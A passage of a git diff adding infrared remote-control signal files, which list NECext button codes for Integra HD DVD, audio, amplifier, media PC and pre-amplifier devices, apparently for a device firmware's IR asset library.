+protocol: NECext +address: 45 B5 00 00 +command: 16 00 00 00 +# +name: FAST_REWIND +type: parsed +protocol: NECext +address: 45 B5 00 00 +command: 19 00 00 00 +# +name: SETUP +type: parsed +protocol: NECext +address: 45 B5 00 00 +command: 20 00 00 00 +# +name: CURSOR_ENTER +type: parsed +protocol: NECext +address: 45 B5 00 00 +command: 21 00 00 00 +# +name: RETURN +type: parsed +protocol: NECext +address: 45 B5 00 00 +command: 22 00 00 00 +# +name: DOWN +type: parsed +protocol: NECext +address: 45 B5 00 00 +command: 23 00 00 00 +# +name: UP +type: parsed +protocol: NECext +address: 45 B5 00 00 +command: 24 00 00 00 +# +name: +10 +type: parsed +protocol: NECext +address: 45 B5 00 00 +command: 25 00 00 00 +# +name: TRACK_SEARCH +type: parsed +protocol: NECext +address: 45 B5 00 00 +command: 26 00 00 00 +# +name: AUDIO +type: parsed +protocol: NECext +address: 45 B5 00 00 +command: 27 00 00 00 +# +name: SUBTITLE +type: parsed +protocol: NECext +address: 45 B5 00 00 +command: 28 00 00 00 +# +name: ANGLE +type: parsed +protocol: NECext +address: 45 B5 00 00 +command: 29 00 00 00 +# +name: REPEAT +type: parsed +protocol: NECext +address: 45 B5 00 00 +command: 2B 00 00 00 +# +name: CURSOR +type: parsed +protocol: NECext +address: 45 B5 00 00 +command: 33 00 00 00 +# +name: A +type: parsed +protocol: NECext +address: 45 B5 00 00 +command: 34 00 00 00 +# +name: B +type: parsed +protocol: NECext +address: 45 B5 00 00 +command: 35 00 00 00 +# +name: C +type: parsed +protocol: NECext +address: 45 B5 00 00 +command: 36 00 00 00 +# +name: D +type: parsed +protocol: NECext +address: 45 B5 00 00 +command: 37 00 00 00 +# +name: RESUME_PLAY +type: parsed +protocol: NECext +address: 45 B5 00 00 +command: 38 00 00 00 +# +name: MAIN/SUB +type: parsed +protocol: NECext +address: 45 B5 00 00 +command: 39 00 00 00 +# +name: DIMMER +type: parsed +protocol: NECext +address: 45 B5 00 00 +command: 41 00 00 00 +# +name: PICTURE_CONTROL +type: parsed +protocol: NECext +address: 45 B5 00 00 +command: 4C 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 45 B5 00 00 +command: 4D 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 45 B5 00 00 +command: 51 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 45 B5 00 00 +command: 80 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 45 B5 00 00 +command: 81 00 00 00 +# +name: CURSOR_UPPER_RIGHT +type: parsed +protocol: NECext +address: 45 B5 00 00 +command: 82 00 00 00 +# +name: CURSOR_LOWER_RIGHT +type: parsed +protocol: NECext +address: 45 B5 00 00 +command: 83 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 45 B5 00 00 +command: 84 00 00 00 +# +name: CURSOR_LOWER_LEFT +type: parsed +protocol: NECext +address: 45 B5 00 00 +command: 85 00 00 00 +# +name: CURSOR_UPPER_LEFT +type: parsed +protocol: NECext +address: 45 B5 00 00 +command: 86 00 00 00 +# +name: STEP +type: parsed +protocol: NECext +address: 45 B5 00 00 +command: AE 00 00 00 +# +name: TITLE +type: parsed +protocol: NECext +address: 45 B5 00 00 +command: DE 00 00 00 +# +name: CLEAR +type: parsed +protocol: NECext +address: 45 B5 00 00 +command: EF 00 00 00 +# +name: OPEN/CLOSE +type: parsed +protocol: NECext +address: 45 B5 00 00 +command: F5 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Integra/Digital Audio/210,3.ir b/assets/resources/infrared/_CSV-IRDB_/Integra/Digital Audio/210,3.ir new file mode 100644 index 000000000..5b06dbbde --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Integra/Digital Audio/210,3.ir @@ -0,0 +1,50 @@ +Filetype: IR signals file +Version: 1 +# +name: PRESET_+ +type: parsed +protocol: NECext +address: D2 03 00 00 +command: 00 00 00 00 +# +name: PRESET_- +type: parsed +protocol: NECext +address: D2 03 00 00 +command: 01 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: D2 03 00 00 +command: 02 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: D2 03 00 00 +command: 03 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: D2 03 00 00 +command: 05 00 00 00 +# +name: AUX +type: parsed +protocol: NECext +address: D2 03 00 00 +command: 06 00 00 00 +# +name: TUNER +type: parsed +protocol: NECext +address: D2 03 00 00 +command: 0B 00 00 00 +# +name: SLEEP +type: parsed +protocol: NECext +address: D2 03 00 00 +command: 5D 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Integra/Digital Audio/210,4.ir b/assets/resources/infrared/_CSV-IRDB_/Integra/Digital Audio/210,4.ir new file mode 100644 index 000000000..31fd566c4 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Integra/Digital Audio/210,4.ir @@ -0,0 +1,8 @@ +Filetype: IR signals file +Version: 1 +# +name: POWER +type: parsed +protocol: NECext +address: D2 04 00 00 +command: CB 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Integra/Digital Audio/210,9.ir b/assets/resources/infrared/_CSV-IRDB_/Integra/Digital Audio/210,9.ir new file mode 100644 index 000000000..d23a65ce7 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Integra/Digital Audio/210,9.ir @@ -0,0 +1,200 @@ +Filetype: IR signals file +Version: 1 +# +name: SEARCH_+ +type: parsed +protocol: NECext +address: D2 09 00 00 +command: 80 00 00 00 +# +name: SEARCH_- +type: parsed +protocol: NECext +address: D2 09 00 00 +command: 81 00 00 00 +# +name: MUSIC_SERVER +type: parsed +protocol: NECext +address: D2 09 00 00 +command: 88 00 00 00 +# +name: INET_RADIO +type: parsed +protocol: NECext +address: D2 09 00 00 +command: 89 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: D2 09 00 00 +command: 8D 00 00 00 +# +name: TRACK_+ +type: parsed +protocol: NECext +address: D2 09 00 00 +command: 8F 00 00 00 +# +name: TRACK_- +type: parsed +protocol: NECext +address: D2 09 00 00 +command: 90 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: D2 09 00 00 +command: 91 00 00 00 +# +name: REPEAT +type: parsed +protocol: NECext +address: D2 09 00 00 +command: 92 00 00 00 +# +name: RANDOM +type: parsed +protocol: NECext +address: D2 09 00 00 +command: 93 00 00 00 +# +name: ALBUM +type: parsed +protocol: NECext +address: D2 09 00 00 +command: 98 00 00 00 +# +name: ARTIST +type: parsed +protocol: NECext +address: D2 09 00 00 +command: 99 00 00 00 +# +name: GENRE +type: parsed +protocol: NECext +address: D2 09 00 00 +command: 9A 00 00 00 +# +name: PLAYLIST +type: parsed +protocol: NECext +address: D2 09 00 00 +command: 9B 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: D2 09 00 00 +command: 9E 00 00 00 +# +name: SETUP +type: parsed +protocol: NECext +address: D2 09 00 00 +command: 9F 00 00 00 +# +name: MENU_UP +type: parsed +protocol: NECext +address: D2 09 00 00 +command: C0 00 00 00 +# +name: MENU_DOWN +type: parsed +protocol: NECext +address: D2 09 00 00 +command: C1 00 00 00 +# +name: MENU_LEFT +type: parsed +protocol: NECext +address: D2 09 00 00 +command: C2 00 00 00 +# +name: MENU_RIGHT +type: parsed +protocol: NECext +address: D2 09 00 00 +command: C3 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: D2 09 00 00 +command: C4 00 00 00 +# +name: CAPS +type: parsed +protocol: NECext +address: D2 09 00 00 +command: D0 00 00 00 +# +name: DELETE +type: parsed +protocol: NECext +address: D2 09 00 00 +command: D1 00 00 00 +# +name: 1/@.-'/ +type: parsed +protocol: NECext +address: D2 09 00 00 +command: D5 00 00 00 +# +name: 2/ABC +type: parsed +protocol: NECext +address: D2 09 00 00 +command: D6 00 00 00 +# +name: 3/DEF +type: parsed +protocol: NECext +address: D2 09 00 00 +command: D7 00 00 00 +# +name: 4/GHI +type: parsed +protocol: NECext +address: D2 09 00 00 +command: D8 00 00 00 +# +name: 5/JKL +type: parsed +protocol: NECext +address: D2 09 00 00 +command: D9 00 00 00 +# +name: 6/MNO +type: parsed +protocol: NECext +address: D2 09 00 00 +command: DA 00 00 00 +# +name: 7/PQRS +type: parsed +protocol: NECext +address: D2 09 00 00 +command: DB 00 00 00 +# +name: 8/TUV +type: parsed +protocol: NECext +address: D2 09 00 00 +command: DC 00 00 00 +# +name: 9/WXYZ +type: parsed +protocol: NECext +address: D2 09 00 00 +command: DD 00 00 00 +# +name: 0/SPACE +type: parsed +protocol: NECext +address: D2 09 00 00 +command: DE 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Integra/HD DVD/69,181.ir b/assets/resources/infrared/_CSV-IRDB_/Integra/HD DVD/69,181.ir new file mode 100644 index 000000000..3a0022b85 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Integra/HD DVD/69,181.ir @@ -0,0 +1,308 @@ +Filetype: IR signals file +Version: 1 +# +name: PAUSE +type: parsed +protocol: NECext +address: 45 B5 00 00 +command: 00 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 45 B5 00 00 +command: 01 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 45 B5 00 00 +command: 02 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 45 B5 00 00 +command: 03 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 45 B5 00 00 +command: 04 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 45 B5 00 00 +command: 05 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 45 B5 00 00 +command: 06 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 45 B5 00 00 +command: 07 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 45 B5 00 00 +command: 08 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 45 B5 00 00 +command: 09 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 45 B5 00 00 +command: 0A 00 00 00 +# +name: SLOW +type: parsed +protocol: NECext +address: 45 B5 00 00 +command: 0D 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 45 B5 00 00 +command: 12 00 00 00 +# +name: FAST_FORWARD +type: parsed +protocol: NECext +address: 45 B5 00 00 +command: 13 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 45 B5 00 00 +command: 14 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 45 B5 00 00 +command: 15 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 45 B5 00 00 +command: 16 00 00 00 +# +name: FAST_REWIND +type: parsed +protocol: NECext +address: 45 B5 00 00 +command: 19 00 00 00 +# +name: SETUP +type: parsed +protocol: NECext +address: 45 B5 00 00 +command: 20 00 00 00 +# +name: CURSOR_ENTER +type: parsed +protocol: NECext +address: 45 B5 00 00 +command: 21 00 00 00 +# +name: RETURN +type: parsed +protocol: NECext +address: 45 B5 00 00 +command: 22 00 00 00 +# +name: DOWN +type: parsed +protocol: NECext +address: 45 B5 00 00 +command: 23 00 00 00 +# +name: UP +type: parsed +protocol: NECext +address: 45 B5 00 00 +command: 24 00 00 00 +# +name: +10 +type: parsed +protocol: NECext +address: 45 B5 00 00 +command: 25 00 00 00 +# +name: TRACK_SEARCH +type: parsed +protocol: NECext +address: 45 B5 00 00 +command: 26 00 00 00 +# +name: AUDIO +type: parsed +protocol: NECext +address: 45 B5 00 00 +command: 27 00 00 00 +# +name: SUBTITLE +type: parsed +protocol: NECext +address: 45 B5 00 00 +command: 28 00 00 00 +# +name: ANGLE +type: parsed +protocol: NECext +address: 45 B5 00 00 +command: 29 00 00 00 +# +name: REPEAT +type: parsed +protocol: NECext +address: 45 B5 00 00 +command: 2B 00 00 00 +# +name: CURSOR +type: parsed +protocol: NECext +address: 45 B5 00 00 +command: 33 00 00 00 +# +name: A +type: parsed +protocol: NECext +address: 45 B5 00 00 +command: 34 00 00 00 +# +name: B +type: parsed +protocol: NECext +address: 45 B5 00 00 +command: 35 00 00 00 +# +name: C +type: parsed +protocol: NECext +address: 45 B5 00 00 +command: 36 00 00 00 +# +name: D +type: parsed +protocol: NECext +address: 45 B5 00 00 +command: 37 00 00 00 +# +name: RESUME_PLAY +type: parsed +protocol: NECext +address: 45 B5 00 00 +command: 38 00 00 00 +# +name: MAIN/SUB +type: parsed +protocol: NECext +address: 45 B5 00 00 +command: 39 00 00 00 +# +name: DIMMER +type: parsed +protocol: NECext +address: 45 B5 00 00 +command: 41 00 00 00 +# +name: PICTURE_CONTROL +type: parsed +protocol: NECext +address: 45 B5 00 00 +command: 4C 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 45 B5 00 00 +command: 4D 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 45 B5 00 00 +command: 51 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 45 B5 00 00 +command: 80 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 45 B5 00 00 +command: 81 00 00 00 +# +name: CURSOR_UPPER_RIGHT +type: parsed +protocol: NECext +address: 45 B5 00 00 +command: 82 00 00 00 +# +name: CURSOR_LOWER_RIGHT +type: parsed +protocol: NECext +address: 45 B5 00 00 +command: 83 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 45 B5 00 00 +command: 84 00 00 00 +# +name: CURSOR_LOWER_LEFT +type: parsed +protocol: NECext +address: 45 B5 00 00 +command: 85 00 00 00 +# +name: CURSOR_UPPER_LEFT +type: parsed +protocol: NECext +address: 45 B5 00 00 +command: 86 00 00 00 +# +name: STEP +type: parsed +protocol: NECext +address: 45 B5 00 00 +command: AE 00 00 00 +# +name: TITLE +type: parsed +protocol: NECext +address: 45 B5 00 00 +command: DE 00 00 00 +# +name: CLEAR +type: parsed +protocol: NECext +address: 45 B5 00 00 +command: EF 00 00 00 +# +name: OPEN/CLOSE +type: parsed +protocol: NECext +address: 45 B5 00 00 +command: F5 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Integra/Integrated Amplifier/210,109.ir b/assets/resources/infrared/_CSV-IRDB_/Integra/Integrated Amplifier/210,109.ir new file mode 100644 index 000000000..1975f9525 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Integra/Integrated Amplifier/210,109.ir @@ -0,0 +1,188 @@ +Filetype: IR signals file +Version: 1 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 02 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 03 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 04 00 00 00 +# +name: MUTING +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 05 00 00 00 +# +name: TAPE/DAT +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 08 00 00 00 +# +name: CD +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 09 00 00 00 +# +name: PHONO +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 0A 00 00 00 +# +name: TUNER +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 0B 00 00 00 +# +name: VIDEO_2 +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 0D 00 00 00 +# +name: VIDEO_1 +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 0E 00 00 00 +# +name: VDP +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 0F 00 00 00 +# +name: DBS +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 11 00 00 00 +# +name: REAR_LEVEL_+ +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 42 00 00 00 +# +name: REAR_LEVEL_- +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 43 00 00 00 +# +name: SURROUND_MODE +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 4C 00 00 00 +# +name: DELAY_TIME +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 53 00 00 00 +# +name: CENTER_LEVEL_+ +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 80 00 00 00 +# +name: CENTER_LEVEL_- +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 81 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 82 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 83 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 84 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 85 00 00 00 +# +name: ENTER/ESCAPE +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 97 00 00 00 +# +name: TEST_TONE +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 9A 00 00 00 +# +name: VIDEO_4 +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 9C 00 00 00 +# +name: VIDEO_3 +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 9D 00 00 00 +# +name: PRESET_1 +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: D0 00 00 00 +# +name: PRESET_2 +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: D1 00 00 00 +# +name: PRESET_3 +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: D2 00 00 00 +# +name: PRESET_4 +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: D3 00 00 00 +# +name: PRESET_5 +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: D4 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Integra/Integrated Amplifier/71,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Integra/Integrated Amplifier/71,-1.ir new file mode 100644 index 000000000..e7ada6363 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Integra/Integrated Amplifier/71,-1.ir @@ -0,0 +1,80 @@ +Filetype: IR signals file +Version: 1 +# +name: 1 +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 00 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 01 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 08 00 00 00 +# +name: 10 +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 09 00 00 00 +# +name: 12 +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 0F 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 10 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 18 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 20 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 28 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 30 00 00 00 +# +name: 10+ +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 32 00 00 00 +# +name: 11 +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 35 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 38 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Integra/Media PC/4,15.ir b/assets/resources/infrared/_CSV-IRDB_/Integra/Media PC/4,15.ir new file mode 100644 index 000000000..f4abc7d93 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Integra/Media PC/4,15.ir @@ -0,0 +1,458 @@ +Filetype: IR signals file +Version: 1 +# +name: 0/_SPACE +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 00 00 00 00 +# +name: 0/SPACE_B +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 00 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 01 00 00 00 +# +name: 1_B +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 01 00 00 00 +# +name: 2/ABC +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 02 00 00 00 +# +name: 2/ABC_B +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 02 00 00 00 +# +name: 3/DEF +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 03 00 00 00 +# +name: 3/DEF_B +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 03 00 00 00 +# +name: 4/GHI +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 04 00 00 00 +# +name: 4/GHI_B +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 04 00 00 00 +# +name: 5/JKL +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 05 00 00 00 +# +name: 5/JKL_B +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 05 00 00 00 +# +name: 6/MNO +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 06 00 00 00 +# +name: 6/MNO_B +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 06 00 00 00 +# +name: 7/PQRS +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 07 00 00 00 +# +name: 7/PQRS_B +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 07 00 00 00 +# +name: 8/TUV +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 08 00 00 00 +# +name: 8/TUV_B +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 08 00 00 00 +# +name: 9/WXYZ +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 09 00 00 00 +# +name: 9/WXYZ_B +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 09 00 00 00 +# +name: CLEAR +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 0A 00 00 00 +# +name: CLEAR_B +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 0A 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 0B 00 00 00 +# +name: ENTER_B +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 0B 00 00 00 +# +name: ON/STANDBY +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 0C 00 00 00 +# +name: ON/STANDBY_B +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 0C 00 00 00 +# +name: START/LOGO +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 0D 00 00 00 +# +name: START/LOGO_B +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 0D 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 0E 00 00 00 +# +name: MUTE_B +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 0E 00 00 00 +# +name: MORE +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 0F 00 00 00 +# +name: MORE_B +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 0F 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 10 00 00 00 +# +name: VOLUME_+_B +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 10 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 11 00 00 00 +# +name: VOLUME_-_B +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 11 00 00 00 +# +name: CHANNEL/PAGE_+ +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 12 00 00 00 +# +name: CHANNEL/PAGE_+_B +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 12 00 00 00 +# +name: CHANNEL/PAGE_- +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 13 00 00 00 +# +name: CHANNEL/PAGE_-_B +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 13 00 00 00 +# +name: FORWARD +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 14 00 00 00 +# +name: FORWARD_B +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 14 00 00 00 +# +name: REWIND +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 15 00 00 00 +# +name: REWIND_B +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 15 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 16 00 00 00 +# +name: PLAY_B +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 16 00 00 00 +# +name: RECORD +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 17 00 00 00 +# +name: RECORD_B +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 17 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 18 00 00 00 +# +name: PAUSE_B +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 18 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 19 00 00 00 +# +name: STOP_B +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 19 00 00 00 +# +name: SKIP_>L +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 1A 00 00 00 +# +name: SKIP_>L_B +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 1A 00 00 00 +# +name: REPLAY_L< +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 1B 00 00 00 +# +name: REPLAY_L<_B +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 1B 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 1E 00 00 00 +# +name: CURSOR_UP_B +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 1E 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 1F 00 00 00 +# +name: CURSOR_DOWN_B +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 1F 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 20 00 00 00 +# +name: CURSOR_LEFT_B +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 20 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 21 00 00 00 +# +name: CURSOR_RIGHT_B +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 21 00 00 00 +# +name: CURSOR_ENTER +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 22 00 00 00 +# +name: CURSOR_ENTER_B +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 22 00 00 00 +# +name: BACK +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 23 00 00 00 +# +name: BACK_B +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 23 00 00 00 +# +name: DVD_MENU +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 24 00 00 00 +# +name: DVD_MENU_B +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 24 00 00 00 +# +name: LIVE_TV +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 25 00 00 00 +# +name: LIVE_TV_B +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 25 00 00 00 +# +name: GUIDE +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 26 00 00 00 +# +name: GUIDE_B +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 26 00 00 00 +# +name: RECORDED_TV +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 48 00 00 00 +# +name: RECORDED_TV_B +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 48 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Integra/Pre-Amplifier/210,108.ir b/assets/resources/infrared/_CSV-IRDB_/Integra/Pre-Amplifier/210,108.ir new file mode 100644 index 000000000..12b71ff0e --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Integra/Pre-Amplifier/210,108.ir @@ -0,0 +1,194 @@ +Filetype: IR signals file +Version: 1 +# +name: MODE_DSP_UP +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: 18 00 00 00 +# +name: MODE_DSP_DOWN +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: 19 00 00 00 +# +name: INPUT_SELECT_UP +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: 1E 00 00 00 +# +name: INPUT_SELECT_DOWN +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: 1F 00 00 00 +# +name: SPK_LEVEL_UP +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: 42 00 00 00 +# +name: SPK_LEVEL_DOWN +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: 43 00 00 00 +# +name: SPK_CHANNEL_SELECT +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: 44 00 00 00 +# +name: MODE_LISTEN_MODEDOWN +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: 45 00 00 00 +# +name: STANDBY +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: 47 00 00 00 +# +name: MODE_STEREO +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: 4C 00 00 00 +# +name: MODE_SURR_WRAP_UP +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: 4D 00 00 00 +# +name: MODE_THX_WRAP_UP +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: 4E 00 00 00 +# +name: MODE_ALL_CH_STEREO +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: 52 00 00 00 +# +name: SETUP +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: 53 00 00 00 +# +name: RETURN +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: 54 00 00 00 +# +name: DIMMER +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: 55 00 00 00 +# +name: DISPLAY_MODE +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: 55 00 